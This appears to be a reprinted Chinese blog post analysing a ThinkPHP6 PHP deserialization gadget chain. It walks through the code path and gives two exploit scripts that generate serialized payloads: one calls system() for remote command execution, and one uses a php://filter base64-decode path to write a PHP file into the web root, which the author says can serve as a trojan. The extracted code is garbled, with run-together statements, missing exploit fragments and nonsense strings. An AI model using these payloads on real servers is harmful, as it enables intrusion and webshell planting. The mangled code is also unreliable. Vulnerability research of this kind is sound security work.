首頁  >  文章  >  php框架  >  關於thinkphp6的另反序列化分析

關於thinkphp6的另反序列化分析

藏色散人
藏色散人轉載
2021-03-16 17:28:002033瀏覽

以下由thinkphp教學專欄跟大家介紹關於thinkphp6的另反序列化分析,希望對需要的朋友有幫助!

關於thinkphp6的另反序列化分析

#Forward

##之前分析過tp6的一個鏈;當時是利用__toString方法去進行的中轉,從而實現前後兩個鏈的鏈接,這次是兩個另外鏈條;利用的是可控類下的固定方法進行中轉;開始分析;

首先環境可以composer一鍵搭建,然後php think run進行跑起來就可;

本文涉及知識點實操練習:ThinkPHP5遠端命令執行漏洞(透過該實驗了解ThinkPHP5遠端命令執行漏洞的原因和利用方法,以及如何修復該漏洞。)

text

首先的想法是利用析構函數進行最開始的觸發;然後一路追蹤魔法函數去進行一步一步的推導;首先找到魔法函數在AbstractCache類別下;

protected $autosave = true;public function __destruct(){    if (! $this->autosave) {        $this->save() ;    }}

其程式碼如上;可以看到autosave可以可控;這裡我們可以手動給其複製為false;從而可以觸發save方法;

回溯save方法;在CacheStore中找到了save方法;具體程式碼如下;

public function save(){    $contents = $this->getForStorage();    $this->store->set( $this->key, $contents, $this->expire);}

#可以看到其呼叫了getForStorage方法,然後將其賦值給$contents變數。這裡跟隨這個方法;

public function getForStorage()    {        $cleaned = $this->cleanContents($this->cache)   $cleaned = $this->cleanContents($this->cache)   ;complete]);}

發現先呼叫了cleanContents方法;然後在呼叫了json_encode方法,這裡先回溯cleanContents方法;

   public function cleanContents(array $contents)    {        $cachedProperties = array_flip([            'path', 'dirname', 'basename', 'extension', 'name',  ), ) 's 'type', 'md5',        ]);    foreach ($contents as $path => $object) {        if (is_array($object)) {   .$       }    }    return $ contents;}

首先在這裡看到了array_flip方法;這個方法是將數組的鍵名和鍵值進行替換;然後數組賦值給$cachedProperties變數;然後將我們傳入的參數按照$ path和$object的格式來進行各個遍歷;然後將鍵名經過is_array方法的判斷如果為true則進行後續的函數處理;否則就直接return $content這個數組;經過這一系列操作完之後,最終是return到了save函數裡;然後接著去進行$this->store->set($this->key, $contents, $this->expire);這裡我們發現store也可控;那就有兩種思路,第一個就是去實例化一個有set方法的類,或者我們實例化一個存在__call方法的類;從而可以因為訪問不存在的方法去調用到call魔術方法;這裡我們先找到一個有set方法的類別;在File類別中找到:

public function set($name, $value, $expire = null): bool{    $this->writeTimes ;    if (is_null($expire)) {       $expire = $this->options[ 'expire'];    }    $expire   = $this->getExpireTime($expire);    $filename = $this->getCacheKey($name);    $ir = dirname($filename); )) {        try {            mkdir($dir, 0755, true);        } catch (\Ex ) 1   $data = $this->serialize($value);    if ($this-> ;options['data_compress'] && function_exists('gzcompress')) {        //資料壓縮       $data = gzcompress($data, 3); 2d', $expire) . "\n exit();?>\n" . $data;    $result = file_put_contents($filename, $data);    if ($result) {    turn trueclearstatcache); return false;}

這裡可利用點在後面的serialize方法;直接追溯一下;

protected function serialize($data): string{    if (is_numeric( $data)) {        return (string) $data;    }     $serialize = $this->options['serialize'][0] ?? "serialize";    return $serialize'][0] ?? "serialize";    return $serialize($data#>

#這裡發現options參量可控;這裡就存在一個問題,如果我們將其賦值為system,那麼後續return的就是我們命令執行函數,裡面的data我們是可以傳入的,那麼我們就可以實現RCE;

這裡放出我自己寫的exp;

id'];    }}namespace think\system{Sacheacc​​yo\o​​lacser\SacheSached聲\SachepacheSacheSacheaa\55\5\5 月; CacheStore extends AbstractCache{    protected $store;    protected $key;    public function __construct($store,$key,$expire)    {    $$$$key, ;        $this-> ;expire = $expire;    }}}namespace think\cache{abstract class Driver{}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{    protected $options = [ exp; 0,        'cache_subdir'  => false,        'prefix'        => false, 一天hash_type'     => 'md5',        'serialize'     => ['system'], ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','1111');echo urlencode(serialize($a) );}

最後達到的效果就是system(xxxx);這裡當時我測試沒有回顯,後來將程式碼調試了一下,發現是system裡面參數的問題,後來我想到linux或者unix下反引號也是可以當做指令執行的,而且是可以先執行的;所以我將程式碼改了下,嵌入反引號,這樣可以更好的進行指令執行,但是這樣的缺點就是可以執行,但是無回顯;但是我們依然可以進行一些惡意操作;

關於thinkphp6的另反序列化分析

透過這個鏈,相信可以發現一些端倪,除了可以rce以外,這個鏈在最後的利用地方還有一個file_put_contents這個也是可以利用的;

下面利用的一些騷姿勢如果有師傅不太理解,可以看這個連結;

https://s1mple-top.github.io/2020/11 /18/file-put-content和死亡·雜糅代碼之緣/

下面也講述一下;利用鍊和之前的是一樣的;就是最後需要掌控一下filename和data的內容;我們可以看到如下圖;

關於thinkphp6的另反序列化分析

在最後的時候會有一個data的拼接,我本來想著在格式化那裡嘗試引入,但是格式化已經寫死了,不能利用非法字符進行污染格式化引入危險代碼;所以只能在最後的data處進行寫入拼接;現在就是要控制data了;其實這裡data是呼叫了serialize方法,追溯一下不難發現是將數組option中的serialize的鍵值拿出來套在了data前面;其實本質上也無大礙;但是這裡有個小坑;因為是$serialize($data);所以這裡要求這樣的搭配必須是正確的,如果你隨意傳入函數,造成比如adsf($data);這樣類型的不規則函數,就會導致報錯,從而無法進行;

明白了這一點其實還有一個小坑;其實option的內容我們是可控的;那麼我們就可以控制serialize的鍵值進行傳入;但是這裡因為之前進行了json_encode所以一般的函數最後構成的格式都無法進行base64解密;但是這裡有個例外,我測試了serialize函數,發現經過序列化之後,我們可以正常進行base64解密;大概是因為可以構成字串的原因;這裡放出我的exp;

key    = $key;        $this->store  = $store; {}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{    protected $options = [        'expire'       'prefix'        => false ,        'path'          => 'php://filter/convert.base64-decode/resource=s1mple/../',        'hash_type'  /../',        'hash_type'   5 =  'serialize'] ,        'data_compress' => false    ];}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple();$a = new think\filesystem\CacheStore($b,'s1mple','233'); echo urlencode(serialize($a));}

另外可能有很多師傅困惑在可寫目錄的問題,這裡我才用了虛目錄的方法將其定位到了public目錄之下;就在path參數那裡可以體現;

關於thinkphp6的另反序列化分析

最後存取結果是執行phpinfo;當然也可以寫入system這樣的指令執行函數;造成木馬利用;

關於thinkphp6的另反序列化分析

以上是關於thinkphp6的另反序列化分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:segmentfault.com。如有侵權,請聯絡admin@php.cn刪除